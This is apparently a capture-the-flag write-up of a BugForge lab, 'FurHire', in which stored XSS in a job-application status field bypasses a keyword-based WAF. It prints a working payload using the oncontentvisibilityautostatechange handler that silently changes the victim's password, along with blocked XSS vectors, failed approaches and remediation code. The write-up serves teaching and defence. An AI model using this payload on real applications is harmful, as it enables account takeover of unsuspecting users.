BugForge — 2026.03.14

FurHire: WAF Bypass — Stored XSS via Application Status

BugForge XSS hard

Overview

  • Platform: BugForge
  • Vulnerability: Stored XSS, WAF Bypass
  • Key Technique: oncontentvisibilityautostatechange event handler bypasses keyword-based WAF blocklist, fires via content-visibility:auto CSS without user interaction
  • Result: Account takeover — changed target user jeremy’s password via stored XSS through socket.io toast notification

Objective

Achieve XSS on target user jeremy. The application has a WAF blocking standard XSS vectors.

Initial Access

# Target Application
URL: https://lab-1773522863657-6jdfnj.labs-app.bugforge.io

# Auth details
# Self-registered accounts:
#   Seeker (user role) — used for recon and receiving toasts
#   Recruiter role — used for injection via application status updates
# PwnFox container isolation: blue = seeker (id=6), yellow = recruiter (id=7)

Key Findings

  1. Stored XSS via application status field (CWE-79: Improper Neutralization of Input During Web Page Generation) — The PUT /api/applications/:id/status endpoint accepts arbitrary HTML in the status field. The server includes this raw value in socket.io status_update messages, which showToast() renders via innerHTML.

  2. WAF blocklist gaps (CWE-693: Protection Mechanism Failure) — The WAF uses a keyword blocklist for event handlers rather than a broad pattern like on\w+=. Newer browser event handlers not in the list (e.g., oncontentvisibilityautostatechange) pass through unblocked.


Attack Chain Visualization

┌──────────────┐    POST /api/jobs     ┌──────────────┐
│   Attacker   │──────────────────────▶│  FurHire App │
│  (recruiter) │                       │   (Express)  │
└──────┬───────┘                       └──────┬───────┘
       │                                      │
       │  jeremy applies to job (~3 min)      │
       │◀─────────────────────────────────────┘
       │
       │  PUT /api/applications/:id/status
       │  {"status":"accepted<img oncontentvisi..."}
       │─────────────────────────────────────▶┌──────────┐
       │                                     │   WAF    │
       │          WAF passes payload         │ blocklist│
       │◀────────────────────────────────────└──────────┘
       │                                      │
       │                              ┌───────▼───────┐
       │                              │   socket.io   │
       │                              │ status_update │
       │                              └───────┬───────┘
       │                                      │
       │                              ┌───────▼───────┐
       │                              │  jeremy's     │
       │                              │  browser      │
       │                              │               │
       │                              │ showToast()   │
       │                              │  innerHTML    │──▶ XSS fires
       │                              │               │
       │                              │ fetch() PUT   │
       │                              │ /api/profile/ │
       │                              │ password      │──▶ password = "password2"
       │                              └───────────────┘
       │
       │  POST /api/login {jeremy:password2}
       │─────────────────────────────────────▶ Account takeover ✓

Application Architecture

Component Path / Detail Description
Backend Express (Node.js) REST API with JWT auth (HttpOnly cookie)
Real-time Socket.io Delivers status_update, job notifications as toast messages
Client rendering AJAX + innerHTML FurHire.escapeHtml() used in templates, but NOT in showToast()
WAF Keyword blocklist Blocks known event handlers, <script, <iframe, javascript:
Auth JWT in HttpOnly cookie Payload: {id, username, role, iat}
Client state localStorage Role and user info stored client-side

Exploitation Path

Step 1: Reconnaissance — Mapping the Application

Registered two accounts using PwnFox for container isolation:

  • Blue container — seeker account (id=6) for browsing the app as a job applicant
  • Yellow container — recruiter account (id=7) for posting jobs and managing applications

Mapped all API endpoints via browser devtools network tab. Identified the tech stack from X-Powered-By: Express header and socket.io connections in the WebSocket tab.

Step 2: Identify the Sink — showToast() innerHTML

The socket.io status_update event triggers showToast(data.message) which renders content via innerHTML without escaping. This is the only rendering path that doesn’t use FurHire.escapeHtml() — all page templates properly escape output.

// Vulnerable sink in app.js
function showToast(message) {
    const toast = document.createElement('div');
    toast.innerHTML = message;  // No escaping — raw HTML rendered
    // ...
}

Step 3: Identify the Injection Point — Application Status

The PUT /api/applications/:id/status endpoint accepts a JSON body with a status field. The server does not validate or sanitize this value — it’s included raw in the socket.io message sent to the applicant.

PUT /api/applications/1/status HTTP/1.1
Content-Type: application/json
Cookie: token=eyJ...

{"status":"accepted"}

The server emits:

socket.emit('status_update', {
    message: `Your application status has been updated to: ${status}`
});

Step 4: WAF Analysis and Bypass

Initial XSS attempts were blocked by the WAF:

// All blocked:
<img onerror=alert(1)>        → blocked (onerror in blocklist)
<svg onload=alert(1)>         → blocked (onload in blocklist)
<script>alert(1)</script>     → blocked (<script in blocklist)
<iframe src=javascript:...>   → blocked (javascript: in blocklist)

Tested the WAF’s detection approach:

<x onfakeevent=test>          → PASSED ✓

This confirmed the WAF uses a keyword blocklist, not a regex pattern like on\w+=. Any event handler not explicitly listed would bypass it.

Used oncontentvisibilityautostatechange — a newer CSS Containment Level 2 event that fires when an element’s content-visibility state changes. Combined with style=display:block;content-visibility:auto to trigger automatically without user interaction.

Step 5: Craft the Payload

The payload needs to:

  1. Bypass the WAF (use unlisted event handler)
  2. Fire without user interaction (CSS content-visibility:auto)
  3. Change jeremy’s password (fetch to /api/profile/password)
  4. Use jeremy’s existing auth cookie (HttpOnly JWT sent automatically with same-origin fetch)
accepted<img oncontentvisibilityautostatechange=fetch('/api/profile/password',{'method':'PUT','headers':{'Content-Type':'application/json'},'body':atob('eyJuZXdQYXNzd29yZCI6InBhc3N3b3JkMiJ9')}) style=display:block;content-visibility:auto>

The base64-encoded body decodes to {"newPassword":"password2"}.

Step 6: Execute the Attack

  1. As recruiter, posted a job listing
  2. Waited ~3 minutes for jeremy’s bot to apply
  3. Sent the payload via application status update:
PUT /api/applications/<jeremy-app-id>/status HTTP/1.1
Content-Type: application/json
Cookie: token=<recruiter-jwt>

{"status":"accepted<img oncontentvisibilityautostatechange=fetch('/api/profile/password',{'method':'PUT','headers':{'Content-Type':'application/json'},'body':atob('eyJuZXdQYXNzd29yZCI6InBhc3N3b3JkMiJ9')}) style=display:block;content-visibility:auto>"}
  1. Socket.io delivered the status_update to jeremy’s browser
  2. showToast() rendered the payload via innerHTML
  3. content-visibility:auto triggered the event handler — fetch() changed jeremy’s password
  4. Logged in as jeremy with password2

Flag / Objective Achieved

bug{3pYyQ3gyX5KyzCVWqU3yAcBM5gO1dYne}

Account takeover achieved — logged in as jeremy after changing his password via stored XSS.


Key Learnings

  • Keyword blocklists age badly. New browser APIs introduce new event handlers regularly. A WAF that blocks a static list of on* handlers will inevitably miss newer ones like oncontentvisibilityautostatechange (CSS Containment Level 2). A regex pattern like on\w+= or an allowlist approach is more durable.

  • Test the WAF’s detection model, not just its responses. Sending <x onfakeevent=test> immediately revealed the blocklist approach — that single test saved time vs. brute-forcing known handlers.

  • content-visibility:auto enables interaction-free XSS. Unlike handlers that require clicks or hovers, oncontentvisibilityautostatechange fires when the element becomes visible in the viewport. Combined with display:block, it triggers as soon as the DOM renders — no user interaction needed.

  • Socket.io sinks are easy to overlook. The main page templates all used escapeHtml(), but the toast notification path rendered raw HTML. Real-time notification systems (WebSocket, SSE, push) are often an afterthought in security reviews.

  • HttpOnly doesn’t prevent account takeover via same-origin requests. The JWT cookie couldn’t be exfiltrated, but fetch() to the password change endpoint sends the cookie automatically. The impact is identical — full account compromise.


Failed Approaches

Approach Result Why It Failed
Job title injection Blocked All page templates use FurHire.escapeHtml(); server also escapes title in socket messages
<object data=data:text/html;base64,...> Bypassed WAF, no XSS data: URIs execute in an opaque origin — no access to the parent page’s cookies or DOM
JSON unicode escapes (\u006f\u006e...) Blocked WAF decodes unicode escapes before checking the blocklist
Content overload (large body) Blocked WAF inspects the full request body up to the server’s 100KB limit
Content-Type juggling Blocked WAF checks all content types, not just application/json
URL path reflection No injection Server HTML-encodes <>&"' in reflected path parameters
Company website field with data: URI Requires click, opaque origin Even if jeremy’s bot clicked, the data: URI opens in a sandboxed opaque origin

Tools Used

Tool Purpose
PwnFox Firefox container isolation — separate sessions for seeker and recruiter roles
Browser DevTools Network tab for API mapping, WebSocket tab for socket.io inspection, Console for payload testing
Burp Suite / curl HTTP request manipulation for status field injection

Remediation

1. Stored XSS via innerHTML in showToast() (CVSS: 9.6 - Critical)

Issue: showToast() renders user-controlled content via innerHTML without sanitization, allowing arbitrary JavaScript execution in other users’ browsers.

CWE Reference: CWE-79 — Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)

Fix:

// BEFORE (Vulnerable)
function showToast(message) {
    const toast = document.createElement('div');
    toast.innerHTML = message;
}

// AFTER (Secure)
function showToast(message) {
    const toast = document.createElement('div');
    toast.textContent = message;  // Renders as text, not HTML
}

2. Missing Server-Side Input Validation on Status Field (CVSS: 8.1 - High)

Issue: The PUT /api/applications/:id/status endpoint accepts arbitrary strings in the status field. The server should constrain this to known status values.

CWE Reference: CWE-20 — Improper Input Validation

Fix:

// BEFORE (Vulnerable)
app.put('/api/applications/:id/status', (req, res) => {
    const { status } = req.body;
    // No validation — any string accepted
    updateApplicationStatus(id, status);
});

// AFTER (Secure)
const VALID_STATUSES = ['pending', 'reviewing', 'accepted', 'rejected'];

app.put('/api/applications/:id/status', (req, res) => {
    const { status } = req.body;
    if (!VALID_STATUSES.includes(status)) {
        return res.status(400).json({ error: 'Invalid status value' });
    }
    updateApplicationStatus(id, status);
});

3. WAF Blocklist Approach (CVSS: 5.3 - Medium)

Issue: WAF uses a static keyword blocklist for event handlers. New browser event handlers bypass it automatically.

CWE Reference: CWE-693 — Protection Mechanism Failure

Fix: Replace keyword blocklist with a regex pattern or, better, server-side output encoding:

// WAF improvement: block ALL event handler patterns
// Instead of: ['onerror', 'onload', 'onclick', ...]
// Use regex:
const EVENT_HANDLER_PATTERN = /\bon[a-z]+=|<script|javascript:/i;

// But WAF is defense-in-depth, not the primary fix.
// The real fix is #1 (textContent) and #2 (input validation).

OWASP Top 10 Coverage

  • A03:2021 — Injection: Stored XSS via unsanitized status field rendered through innerHTML
  • A05:2021 — Security Misconfiguration: WAF keyword blocklist incomplete, missing newer event handlers
  • A07:2021 — Identification and Authentication Failures: Password change endpoint lacks re-authentication, enabling account takeover via XSS

References


Tags: #xss #stored-xss #waf-bypass #socket-io #innerhtml #content-visibility #account-takeover #bugforge Document Version: 1.0 Last Updated: 2026-03-14

#stored-XSS #WAF-bypass #HTML-entities #WebSocket